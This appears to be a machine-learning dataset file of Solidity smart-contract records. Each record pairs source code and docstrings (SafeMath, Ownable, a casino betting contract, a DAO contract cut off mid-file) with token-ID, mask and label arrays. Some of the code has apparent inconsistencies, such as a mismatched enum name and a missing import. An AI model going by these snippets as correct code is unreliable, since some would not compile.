1369,
13,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
2583,
2520,
2988,
287,
203,
3639,
1135,
261,
1080,
3778,
13,
203,
565,
288,
203,
3639,
327,
25187,
55,
594,
4098,
751,
18,
588,
29752,
1369,
461,
12,
1826,
1369,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/4/0xA6FaE6d7440953783e97b2958D42654E5b79fD76/sources/gRoyalties.sol | push decayed royalties % to royalties registry per token Id
| royaltiesByTokenId[tokenId].push(royaltiesByTokenId[tokenId][royaltiesByTokenId[tokenId].length.sub(1)].sub(1)); | 8,589,877 | [
1,
6206,
22286,
329,
721,
93,
2390,
606,
738,
358,
721,
93,
2390,
606,
4023,
1534,
1147,
3124,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
721,
93,
2390,
606,
858,
1345,
548,
63,
2316,
548,
8009,
6206,
12,
3800,
2390,
606,
858,
1345,
548,
63,
2316,
548,
6362,
3800,
2390,
606,
858,
1345,
548,
63,
2316,
548,
8009,
2469,
18,
1717,
12,
21,
13,
8009,
1717,
12,
21,
10019,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title HouseAdmin
* @dev The HouseAdmin contract has a signer address and a croupier address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions"
*/
contract HouseAdmin is Ownable {
address public signer;
address public croupier;
event SignerTransferred(address indexed previousSigner, address indexed newSigner);
event CroupierTransferred(address indexed previousCroupier, address indexed newCroupier);
/**
* @dev Throws if called by any account other than the signer or owner
*/
modifier onlySigner() {
require(msg.sender == signer || msg.sender == owner);
_;
}
/**
* @dev Throws if called by any account other than the croupier or owner
*/
modifier onlyCroupier() {
require(msg.sender == croupier || msg.sender == owner);
_;
}
/**
* @dev The Signable constructor sets the original `signer` of the contract to the sender
* account
*/
constructor() public {
signer = msg.sender;
croupier = msg.sender;
}
/**
* @dev Allows the current signer to transfer control of the contract to a newSigner
* @param _newSigner The address to transfer signership to
*/
function transferSigner(address _newSigner) public onlySigner {
_transferSigner(_newSigner);
}
/**
* @dev Allows the current croupier to transfer control of the contract to a newCroupier
* @param _newCroupier The address to transfer croupiership to
*/
function transferCroupier(address _newCroupier) public onlyCroupier {
_transferCroupier(_newCroupier);
}
/**
* @dev Transfers control of the contract to a newSigner.
* @param _newSigner The address to transfer signership to.
*/
function _transferSigner(address _newSigner) internal {
require(_newSigner != address(0));
emit SignerTransferred(signer, _newSigner);
signer = _newSigner;
}
/**
* @dev Transfers control of the contract to a newCroupier.
* @param _newCroupier The address to transfer croupiership to.
*/
function _transferCroupier(address _newCroupier) internal {
require(_newCroupier != address(0));
emit CroupierTransferred(croupier, _newCroupier);
croupier = _newCroupier;
}
}
contract Casino is Ownable, HouseAdmin {
using SafeMath for uint;
uint constant HOUSE_EDGE_PERCENT = 1;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether;
uint constant BET_AMOUNT_MIN = 0.01 ether;
uint constant BET_AMOUNT_MAX = 1000 ether;
uint constant BET_EXPIRATION_BLOCKS = 250;
uint constant MAX_MASKABLE_MODULO = 40;
uint constant MAX_BET_MASK = 2 ** MAX_MASKABLE_MODULO;
// population count
uint constant POPCOUNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001;
uint constant POPCOUNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041;
uint constant POPCOUNT_MODULO = 0x3F;
uint public bankFund;
struct Bet {
uint8 modulo;
uint64 choice;
uint amount;
uint winAmount;
uint placeBlockNumber;
bool isActive;
address player;
}
mapping (uint => Bet) public bets;
event LogParticipant(address indexed player, uint indexed modulo, uint choice, uint amount, uint commit);
event LogClosedBet(address indexed player, uint indexed modulo, uint choice, uint reveal, uint result, uint amount, uint winAmount);
event LogDistributeReward(address indexed addr, uint reward);
event LogRecharge(address indexed addr, uint amount);
event LogRefund(address indexed addr, uint amount);
event LogDealerWithdraw(address indexed addr, uint amount);
constructor() payable public {
owner = msg.sender;
}
function placeBet(uint _choice, uint _modulo, uint _expiredBlockNumber, uint _commit, uint8 _v, bytes32 _r, bytes32 _s) payable external {
Bet storage bet = bets[_commit];
uint amount = msg.value;
require(bet.player == address(0), "this bet is already exist");
require(block.number <= _expiredBlockNumber, 'this bet has expired');
require(amount >= BET_AMOUNT_MIN && amount <= BET_AMOUNT_MAX, 'bet amount out of range');
// verify the signer and _expiredBlockNumber
bytes32 msgHash = keccak256(abi.encodePacked(_expiredBlockNumber, _commit));
require(ecrecover(msgHash, _v, _r, _s) == signer, "incorrect signer");
uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
uint populationCount;
if (_modulo < MAX_MASKABLE_MODULO) {
require(_choice < MAX_BET_MASK, "choice too large");
populationCount = (_choice * POPCOUNT_MULT & POPCOUNT_MASK) % POPCOUNT_MODULO;
require(populationCount < _modulo, "winning rate out of range");
} else {
require(_choice < _modulo, "choice large than modulo");
populationCount = _choice;
}
uint winAmount = (amount - houseEdge).mul(_modulo) / populationCount;
require(bankFund.add(winAmount) <= address(this).balance, 'contract balance is not enough');
// lock winAmount into this contract. Make sure contract is solvent
bankFund = bankFund.add(winAmount);
bet.choice = uint64(_choice);
bet.player = msg.sender;
bet.placeBlockNumber = block.number;
bet.amount = amount;
bet.winAmount = winAmount;
bet.isActive = true;
bet.modulo = uint8(_modulo);
emit LogParticipant(msg.sender, _modulo, _choice, amount, _commit);
}
function closeBet(uint _reveal) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(_reveal)));
Bet storage bet = bets[commit];
require(bet.isActive, 'this bet is not active');
uint amount = bet.amount;
uint placeBlockNumber = bet.placeBlockNumber;
uint modulo = bet.modulo;
uint winAmount = 0;
uint choice = bet.choice;
address player = bet.player;
require(block.number > placeBlockNumber, 'close bet block number is too low');
require(block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, 'the block number is too low to query');
uint result = uint(keccak256(abi.encodePacked(_reveal, blockhash(placeBlockNumber)))) % modulo;
if (modulo <= MAX_MASKABLE_MODULO) {
if (2 ** result & choice != 0) {
winAmount = bet.winAmount;
player.transfer(winAmount);
emit LogDistributeReward(player, winAmount);
}
} else {
if (result < choice) {
winAmount = bet.winAmount;
player.transfer(winAmount);
emit LogDistributeReward(player, winAmount);
}
}
// release winAmount deposit
bankFund = bankFund.sub(bet.winAmount);
bet.isActive = false;
emit LogClosedBet(player, modulo, choice, _reveal, result, amount, winAmount);
}
function refundBet(uint _commit) external onlyCroupier {
Bet storage bet = bets[_commit];
uint amount = bet.amount;
uint placeBlockNumber = bet.placeBlockNumber;
address player = bet.player;
require(bet.isActive, 'this bet is not active');
require(block.number > placeBlockNumber + BET_EXPIRATION_BLOCKS, 'this bet has not expired');
player.transfer(amount);
// release winAmount deposit
bankFund = bankFund.sub(bet.winAmount);
bet.isActive = false;
emit LogRefund(player, amount);
}
/**
* @dev in order to let more people participant
*/
function recharge() public payable {
emit LogRecharge(msg.sender, msg.value);
}
/**
* @dev owner can withdraw the remain ether
*/
function withdraw(uint _amount) external onlyOwner {
require(_amount <= address(this).balance - bankFund, 'cannot withdraw amount greater than (balance - bankFund)');
owner.transfer(_amount);
emit LogDealerWithdraw(owner, _amount);
}
/**
* @dev get the balance which can be used
*/
function getAvailableBalance() view public returns (uint) {
return address(this).balance - bankFund;
}
} | * @dev Allows the current signer to transfer control of the contract to a newSigner @param _newSigner The address to transfer signership to/ | function transferSigner(address _newSigner) public onlySigner {
_transferSigner(_newSigner);
}
| 14,050,561 | [
1,
19132,
326,
783,
10363,
358,
7412,
3325,
434,
326,
6835,
358,
279,
394,
15647,
225,
389,
2704,
15647,
1021,
1758,
358,
7412,
1573,
12565,
358,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
7412,
15647,
12,
2867,
389,
2704,
15647,
13,
1071,
1338,
15647,
288,
203,
565,
389,
13866,
15647,
24899,
2704,
15647,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xB985eA1be961f7c4A4C45504444C02c88c4fdEF9/sources/src/MultiClaimsHatter.sol | get the hat's eligibility module address get _wearer's eligibility status from the eligibility module if function call succeeds with data of length == 64, then we know the contract exists and has the getWearerStatus function (which returns two words). But — since function selectors don't include return types — we still can't assume that the return data is two so we treat it as a uint so it will always safely decode without throwing./ check the returndata manually returndata is valid never eligible if in bad standing returndata is invalid false since _wearer is not explicitly eligible | function _isExplicitlyEligible(uint256 _hatId, address _account) internal view returns (bool eligible) {
address eligibility = HATS().getHatEligibilityModule(_hatId);
bool standing;
(bool success, bytes memory returndata) =
eligibility.staticcall(abi.encodeWithSignature("getWearerStatus(address,uint256)", _account, _hatId));
booleans,
if (success && returndata.length == 64) {
(uint256 firstWord, uint256 secondWord) = abi.decode(returndata, (uint256, uint256));
if (firstWord < 2 && secondWord < 2) {
standing = (secondWord == 1) ? true : false;
eligible = (standing && firstWord == 1) ? true : false;
}
else {
eligible = false;
}
}
}
| 2,750,299 | [
1,
588,
326,
366,
270,
1807,
415,
360,
3628,
1605,
1758,
336,
389,
1814,
14500,
1807,
415,
360,
3628,
1267,
628,
326,
415,
360,
3628,
1605,
309,
445,
745,
21933,
598,
501,
434,
769,
422,
5178,
16,
1508,
732,
5055,
326,
6835,
1704,
471,
711,
326,
13876,
2091,
264,
1482,
445,
261,
12784,
1135,
2795,
4511,
2934,
12484,
225,
163,
227,
247,
3241,
445,
11424,
2727,
1404,
2341,
327,
1953,
225,
163,
227,
247,
732,
4859,
848,
1404,
6750,
716,
326,
327,
501,
353,
2795,
1427,
732,
10116,
518,
487,
279,
2254,
1427,
518,
903,
3712,
15303,
2495,
2887,
19440,
18,
19,
866,
326,
327,
892,
10036,
327,
892,
353,
923,
5903,
21351,
309,
316,
5570,
12842,
310,
327,
892,
353,
2057,
629,
3241,
389,
1814,
14500,
353,
486,
8122,
21351,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
389,
291,
17186,
715,
4958,
16057,
12,
11890,
5034,
389,
11304,
548,
16,
1758,
389,
4631,
13,
2713,
1476,
1135,
261,
6430,
21351,
13,
288,
203,
565,
1758,
415,
360,
3628,
273,
670,
17813,
7675,
588,
44,
270,
4958,
360,
3628,
3120,
24899,
11304,
548,
1769,
203,
565,
1426,
12842,
310,
31,
203,
565,
261,
6430,
2216,
16,
1731,
3778,
327,
892,
13,
273,
203,
1377,
415,
360,
3628,
18,
3845,
1991,
12,
21457,
18,
3015,
1190,
5374,
2932,
588,
59,
2091,
264,
1482,
12,
2867,
16,
11890,
5034,
2225,
16,
389,
4631,
16,
389,
11304,
548,
10019,
203,
203,
565,
31050,
16,
7010,
565,
309,
261,
4768,
597,
327,
892,
18,
2469,
422,
5178,
13,
288,
203,
1377,
261,
11890,
5034,
1122,
3944,
16,
2254,
5034,
2205,
3944,
13,
273,
24126,
18,
3922,
12,
2463,
892,
16,
261,
11890,
5034,
16,
2254,
5034,
10019,
203,
1377,
309,
261,
3645,
3944,
411,
576,
597,
2205,
3944,
411,
576,
13,
288,
203,
3639,
12842,
310,
273,
261,
8538,
3944,
422,
404,
13,
692,
638,
294,
629,
31,
203,
3639,
21351,
273,
261,
15167,
597,
1122,
3944,
422,
404,
13,
692,
638,
294,
629,
31,
203,
1377,
289,
203,
1377,
469,
288,
203,
3639,
21351,
273,
629,
31,
203,
1377,
289,
203,
565,
289,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.5;
/**
* @title FrAactionSPDAO
* @author Quentin for FrAaction Gangs
*/
// ============ Internal Import ============
import {
ISettings
} from "./GovSettings.sol";
// ============ External Imports: Inherited Contracts ============
// NOTE: we inherit from OpenZeppelin upgradeable contracts because of the proxy implementation of this logic contract
import {
IERC721Upgradeable
} from "@OpenZeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol";
import {
ERC721HolderUpgradeable
} from "@openzeppelin/contracts-upgradeable/token/ERC721/utils/ERC721HolderUpgradeable.sol";
import {
ERC1155HolderUpgradeable
} from "@openzeppelin/contracts-upgradeable/token/ERC1155/utils/ERC1155HolderUpgradeable.sol";
import {
IERC1155Upgradeable
} from "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol";
import {
IERC20Upgradeable
} from "@OpenZeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import {
ERC20Upgradeable
} from "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import {
ERC20lib
} from "./interfaces/ERC20lib.sol";
import {
DiamondInterface
} from "./DiamondInterface.sol";
contract FraactionSPDAO is ERC20Upgradeable, ERC721HolderUpgradeable, ERC1155HolderUpgradeable {
using Address for address;
// ============ Enums ============
// State Transitions:
// (1) INACTIVE on deploy, finalizeBid() or finalizePurchase()
// (2) ACTIVE on startPurchase(), startFundraising() or startBid()
// (2) FUNDING on confirmFunding()
// (3) SUBMITTED on purchase() or submitBid()
// (4) COMPLETED or FAILED on finalizeBid() or finalizePurchase()
enum fundingStatus {
INACTIVE,
ACTIVE,
FUNDING,
SUBMITTED,
COMPLETED,
FAILED
}
// funding round status of the FrAactionHub
FundingStatus public fundingStatus;
// State Transitions:
// (1) INACTIVE claim()
// (2) ACTIVE on startFinalAuction()
// (3) ENDED on endFinalAuction()
// (4) BURNING on Claim()
enum FinalAuctionStatus {
INACTIVE,
ACTIVE,
ENDED,
BURNING
}
FinalAuctionStatus public finalAuctionStatus;
// State Transitions:
// (1) INACTIVE on deploy
// (2) ACTIVE on initiateMerger() and voteForMerger(), ASSETSTRANSFERRED on voteForMerger()
// (3) MERGED or POSTMERGERLOCKED on finalizeMerger()
enum MergerStatus {
INACTIVE,
ACTIVE,
ASSETSTRANSFERRED,
MERGED,
POSTMERGERLOCKED
}
MergerStatus public mergerStatus;
// State Transitions:
// (1) INACTIVE or INITIALIZED on deploy
// (2) ACTIVE on voteForDemerger()
// (4) ASSETSTRANSFERRED on DemergeAssets()
// (4) DEMERGED on finalizeDemerger()
enum DemergerStatus {
INACTIVE,
ACTIVE,
INITIALIZED,
ASSETSTRANSFERRED,
DEMERGED
}
DemergerStatus public demergerStatus;
// State Transitions:
// (1) INACTIVE on deploy
// (2) FUNDING on startAavegotchiFunding()
// (3) CLAIMED on claimAavegotchi()
// (4) COMPLETED, FRACTIONALIZED and FAILED on finalizeAavegotchi()
enum PortalFundingStatus {
INACTIVE,
FUNDING,
CLAIMED,
COMPLETED,
FRACTIONALIZED,
FAILED
}
PortalFundingStatus public portalStatus;
// ============ Public Constant ============
// version of the FrAactionHub smart contract
uint256 public constant contractVersion = 1;
// ============ Internal Constants ============
// tokens are minted at a rate of 1 GHST : 100 tokens
uint16 internal constant TOKEN_SCALE = 100;
// max integer in hexadecimal format
uint256 internal constant MAX_INT = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
// ============ Internal Mutable Storage ============
// previous FrAactionHub token balance of the receiver
uint256 internal beforeTransferToBalance;
// stake amount to be decreased in GHST to be burnt
uint256 internal decreasedGhst;
// stake amount to be decreased
uint256 internal decreasedStake;
// last index of the skill points set array of votedSkill mapping
uint256 internal skillIndex;
// current number of times the changeFraactionType() function reached the minimum quorum and voted
uint256 internal typeNumber;
// current number of times the updateAuctionLength() function reached the minimum quorum and voted
uint256 internal lengthNumber;
// current number of times the updatePlayerFee() function reached the minimum quorum and voted
uint256 internal feeNumber;
// current number of times the voteForPlayer() function reached the minimum quorum and voted
uint256 internal playerNumber;
// number of iterations currently done in order to run through the whole ownerAddress array
uint256 internal splitCounter;
// number of iterations necessary in order to run through the whole ownerAddress array
uint256 internal multiple;
// number of this item type owned by the FrAactionHub before the purchase
uint256 internal initialNumberOfItems;
// number of the new funding round
uint256 internal fundingNumber;
// 0 = no split ongoing, 1 = split going on for the realms transfer, 2 = same for the NFTs transfer, 3 = same for the items transfer, 4 = same for owner addresses transfer
uint256 internal split;
// voter's address => current votes submitted for the FrAactionHub type change
mapping(address => uint256) internal currentTypeBalance;
// voter's address => current auction length voted by the owner
mapping(address => uint256) internal currentLengthVote;
// voter's address => current votes submitted for the auction length update
mapping(address => uint256) internal currentLengthBalance;
// voter's address => current player's fee voted by the owner
mapping(address => uint256) internal currentFeeVote;
// voter's address => current votes submitted for the player's fee update
mapping(address => uint256) internal currentFeeBalance;
// voter's address => current player voted by the owner
mapping(address => uint256) internal currentPlayerVote;
// voter's address => current votes submitted for the player appointment
mapping(address => uint256) internal currentPlayerBalance;
// voter's address => typeNumber of the last time the owner voted
mapping(address => uint256) internal typeCurrentNumber;
// voter's address => feeNumber of the last time the owner voted
mapping(address => uint256) internal feeCurrentNumber;
// voter's address => lengthNumber of the last time the owner voted
mapping(address => uint256) internal lengthCurrentNumber;
// voter's address => current number of times the voteForPlayer() function reached the minimum quorum and voted
mapping(address => uint256) internal playerCurrentNumber;
// mergerTarget address => current number of times the voteForMerger() function reached the minimum quorum and voted
mapping(address => uint256) internal mergerNumber;
// contributor address => current number of times the contributor paid the gas fees on behalf of all the FrAactionHub owners
mapping(address => uint256) internal feesContributor;
// contributor => Aavegotchi funding round number
mapping(address => uint256[]) internal fundingContributor;
// contributor => tokenId(s) concerned by a stake increase
mapping(address => uint256[]) internal stakeContributor;
// tokenId => current number of times the voteForName() function reached the minimum quorum and voted
mapping(uint256 => uint256) internal nameNumber;
// tokenId => current number of times the voteForSkills() function reached the minimum quorum and voted
mapping(uint256 => uint256) internal skillNumber;
// tokenId => current number of times the voteForDestruction() function reached the minimum quorum and voted
mapping(uint256 => uint256) internal destroyNumber;
// portal Id => portal funding round number
mapping(uint256 => uint256) internal portalFundingNumber;
// contributor => last funding index iterated during the last newClaim() call
mapping(uint256 => uint256) internal lastFundingContributorIndex;
// contributor => last portal index iterated during the last newClaim() call
mapping(uint256 => uint256) internal lastPortalContributorIndex;
